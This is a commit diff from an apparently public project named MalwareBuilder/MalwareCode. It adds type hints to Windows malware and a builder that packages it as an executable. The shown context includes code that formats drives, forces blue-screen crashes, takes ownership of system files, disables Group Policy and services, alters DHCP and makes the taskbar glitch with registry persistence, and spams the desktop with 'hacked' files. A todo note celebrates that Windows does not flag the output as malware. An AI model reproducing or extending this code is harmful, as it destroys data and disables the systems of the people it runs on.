Updated docstrings (Later) and var types

Author: DefinetlyNotAI

MalwareBuilder.py

@@ -14,7 +14,7 @@
 
 class Construct:
     @staticmethod
-    def __safe_process_run(command, custom_err_message="executing the command", log_output=True):
+    def __safe_process_run(command: str | list[str], custom_err_message: str = "executing the command", log_output:bool=True):
         try:
             result = subprocess.run(command, check=True, capture_output=True, text=True)
             if log_output:
@@ -27,7 +27,7 @@ def __safe_process_run(command, custom_err_message="executing the command", log_
             exit(1)
 
     @classmethod
-    def exe(cls, script_names):
+    def exe(cls, script_names: list[str]):
         # Uninstall pathlib to avoid conflicts with PyInstaller
         REINSTALL = False
         if importlib.util.find_spec('pathlib') is not None:
@@ -55,7 +55,7 @@ def exe(cls, script_names):
                                    custom_err_message="reinstalling pathlib")
 
     @staticmethod
-    def functions(config_path):
+    def functions(config_path: str) -> dict[str, str]:
         config = configparser.ConfigParser()
         config.optionxform = str  # Preserve original case of keys
         config.read(config_path)
@@ -72,7 +72,7 @@ def functions(config_path):
         return features
 
     @staticmethod
-    def end_code(variable):
+    def end_code(variable: str) -> str:
         return fr"""
     try:
         if not is_admin():
@@ -91,7 +91,7 @@ def end_code(variable):
     """
 
     @staticmethod
-    def safe_deletion(file_path):
+    def safe_deletion(file_path: str):
         if os.path.exists(file_path):
             if os.path.isdir(file_path):
                 shutil.rmtree(file_path)

MalwareCode.py

@@ -124,15 +124,15 @@ def add_to_startup(self):
             log.error(f"Unexpected error: {ex}")
 
 
-def is_admin():
+def is_admin() -> bool:
     """Check if the script is running with admin privileges."""
     try:
         return ctypes.windll.shell32.IsUserAnAdmin()
     except Exception:
         return False
 
 
-def take_ownership(file_path):
+def take_ownership(file_path: str):
     """Take ownership of a file or directory."""
     # Take ownership of the gpedit.msc file
     output = subprocess.run(fr"takeown /f {file_path}",
@@ -146,18 +146,18 @@ def take_ownership(file_path):
 
 # ------------------------- Decorators Code ----------------------- #
 
-def experimental(func: callable):
+def experimental(func: callable) -> callable:
     @functools.wraps(func)
-    def wrapper(*args, **kwargs):
+    def wrapper(*args, **kwargs) -> callable:
         log.warning(f"{func.__name__}() is an experimental feature, don't rely on it!")
         return func(*args, **kwargs)
 
     return wrapper
 
 
-def not_tested(func: callable):
+def not_tested(func: callable) -> callable:
     @functools.wraps(func)
-    def wrapper(*args, **kwargs):
+    def wrapper(*args, **kwargs) -> callable:
         log.warning(f"{func.__name__}() is a non-tested feature, don't rely on it!")
         return func(*args, **kwargs)
 
@@ -306,7 +306,7 @@ def __init__(self):
             self.GPEDIT = r"C:\Windows\System32\gpedit.msc"
 
         @staticmethod
-        def __stop_gpedit_services(service_name):
+        def __stop_gpedit_services(service_name: str) -> None:
             """Try to stop a service if it's running."""
             status = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
             if "ERROR" in status.stderr:
@@ -342,7 +342,7 @@ def disable(self):
             self.__stop_gpedit_services("gpsvc")  # Group Policy Client service
             self.__stop_gpedit_services("netprofm")  # Network List Service
 
-        def enable(self):
+        def enable(self) -> None:
             """
             Re-enable Group Policy Editor by restoring registry settings and file permissions.
             """
@@ -689,7 +689,7 @@ def enable():
 
     class DHCP:
         @staticmethod
-        def __dhcp_client(use_dhcp):
+        def __dhcp_client(use_dhcp: bool):
             # Fetch all active interfaces
             interfaces = subprocess.check_output(
                 "netsh interface show interface", shell=True, text=True
@@ -756,7 +756,7 @@ def enable(self):
 
     class Taskbar:
         @staticmethod
-        def __create_powershell_command(code):
+        def __create_powershell_command(code: int) -> str:
             return """
 Add-Type -TypeDefinition @"
 using System;
@@ -1203,7 +1203,7 @@ def __run(command):
                 log.error(f"Error: {e}")
 
         @staticmethod
-        def __get_dependencies(service_name):
+        def __get_dependencies(service_name) -> list[str] | list[None]:
             """Get the list of dependent services."""
             try:
                 result = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
@@ -1323,7 +1323,8 @@ def __init__(self):
             default = config.get("Spam.Desktop", "ERROR_TYPE", fallback="You've been hacked")
             repeat_default = config.getint("Spam.Desktop", "COUNT", fallback=500)
 
-            folders = config.get("Spam.Desktop", "EXTRA_FOLDERS", fallback="Hackers, Anonymous, YourPCIsMine, Hacked, Lol")
+            folders = config.get("Spam.Desktop", "EXTRA_FOLDERS",
+                                 fallback="Hackers, Anonymous, YourPCIsMine, Hacked, Lol")
             folders = folders.replace(" ", "").split(",")
             files = config.get("Spam.Desktop", "EXTRA_FILES", fallback="You, have, been, hacked, lol")
             files = files.replace(" ", "").split(",")
@@ -1443,7 +1444,7 @@ def enable(self):
 
     class Windows:
         @staticmethod
-        def __format(drive_letter):
+        def __format(drive_letter: str):
             try:
                 # Ensure the drive letter ends with a colon
                 if not drive_letter.endswith(":"):
@@ -1476,10 +1477,11 @@ def __init__(self):
             self.MAX_CRASHES = config.getint("Destroy.BSOD", "MAX_CRASHES", fallback=5)
             self.REGISTRY_PATH = config.get("Destroy.BSOD", "REG_PATH", fallback="SOFTWARE\\SysBSOD")
             self.VALUE_NAME = config.get("Destroy.BSOD", "REG_KEY", fallback="BCC")
-            self.CRASH_ERR = config.get("Destroy.BSOD", "MESSAGE", fallback="The code monkeys at our headquarters are working very hard to fix this!")
+            self.CRASH_ERR = config.get("Destroy.BSOD", "MESSAGE",
+                                        fallback="The code monkeys at our headquarters are working very hard to fix this!")
             self.CRASH_CODE = 0xDEADDEAD
 
-        def __check_registry_and_update(self):
+        def __check_registry_and_update(self) -> bool:
             """
             Check the registry for "CrashCount". If it exists and is greater than or equal to MAX_CRASHES, do nothing.
             Otherwise, increment and allow the script to proceed with the BSOD.
@@ -1509,6 +1511,7 @@ def __check_registry_and_update(self):
                 log.error(f"Failed to check registry: {err}")
                 return False
             finally:
+                # Does it ever do this? We will never know...
                 try:
                     reg.CloseKey(key)
                 except Exception:
@@ -1636,7 +1639,7 @@ def __init__(self):
             self.SWP_NOSIZE = 0x0001
             self.SWP_NOMOVE = 0x0002
 
-        def __glitch_forever(self):
+        def __glitch_forever(self) -> None:
             """Continuously make the Taskbar glitch until stopped."""
             if not self.taskbar_hwnd:
                 log.error("Taskbar not found.")
@@ -1667,7 +1670,7 @@ def start(self):
                 exit()
 
         @staticmethod
-        def __persist(enable=True):
+        def __persist(enable: bool = True) -> None:
             """Persist Taskbar changes through reboots by modifying the Registry."""
             key_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
             try:
@@ -1891,5 +1894,4 @@ def start(self):
             except KeyboardInterrupt:
                 log.info("Exiting...")
 
-
 # ---------------------------- Main Code --------------------------- #

malware todo.txt

@@ -56,6 +56,12 @@ and if not, then exit the program. ✅
 
 Add colorlog and ascii art to the program ✅
 
-Make docs and variable types to the functions.
+Make docs and variable types to the functions. ✅
 
 COMPLETED!!!
+
+[Using full settings] Outputs 1 exe is 2.4GB, May need to compress it down, but it's not a priority
+( Cure.exe ~ Infect.exe )
+To mitigate use a python env
+
+Good news, none of them is flagged as malware by windows!!!